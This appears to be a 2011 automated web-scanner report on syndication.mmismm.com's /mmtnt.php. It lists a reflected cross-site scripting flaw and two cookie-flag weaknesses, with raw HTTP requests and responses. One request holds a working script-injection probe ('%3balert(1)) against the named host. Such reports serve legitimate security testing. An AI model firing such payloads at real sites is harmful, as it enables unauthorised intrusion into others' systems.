1. Cross-site scripting (reflected)
2. Cookie scoped to parent domain
3. Cookie without HttpOnly flag set
Severity: | High |
Confidence: | Certain |
Host: | http://syndication.mmismm |
Path: | /mmtnt.php |
GET /mmtnt.php?98d35'%3balert(1)/ Host: syndication.mmismm.com Proxy-Connection: keep-alive Referer: http://i.total-media.net Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: G=10120000000990801741 |
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 02:05:27 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR BUS COM NAV" Set-Cookie: G=10120000000990801741; expires=Wed, 27-Jan-2016 08:05:27 GMT; path=/; domain=.mmismm.com Content-Length: 493 Content-Type: text/javascript document.write('<script type="text/javascript" ...[SNIP]... <script type="text/javascript" src="http://syndication ...[SNIP]... |
Severity: | Information |
Confidence: | Certain |
Host: | http://syndication.mmismm |
Path: | /mmtnt.php |
GET /mmtnt.php HTTP/1.1 Host: syndication.mmismm.com Proxy-Connection: keep-alive Referer: http://i.total-media.net Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: G=10120000000990801741 |
HTTP/1.1 200 OK Date: Wed, 26 Jan 2011 20:18:13 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR BUS COM NAV" Set-Cookie: G=10120000000990801741; expires=Wed, 27-Jan-2016 02:18:13 GMT; path=/; domain=.mmismm.com Content-Length: 462 Content-Type: text/javascript document.write('<script type="text/javascript" ...[SNIP]... |
Severity: | Information |
Confidence: | Certain |
Host: | http://syndication.mmismm |
Path: | /mmtnt.php |
GET /mmtnt.php HTTP/1.1 Host: syndication.mmismm.com Proxy-Connection: keep-alive Referer: http://i.total-media.net Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: G=10120000000990801741 |
HTTP/1.1 200 OK Date: Wed, 26 Jan 2011 20:18:13 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR BUS COM NAV" Set-Cookie: G=10120000000990801741; expires=Wed, 27-Jan-2016 02:18:13 GMT; path=/; domain=.mmismm.com Content-Length: 462 Content-Type: text/javascript document.write('<script type="text/javascript" ...[SNIP]... |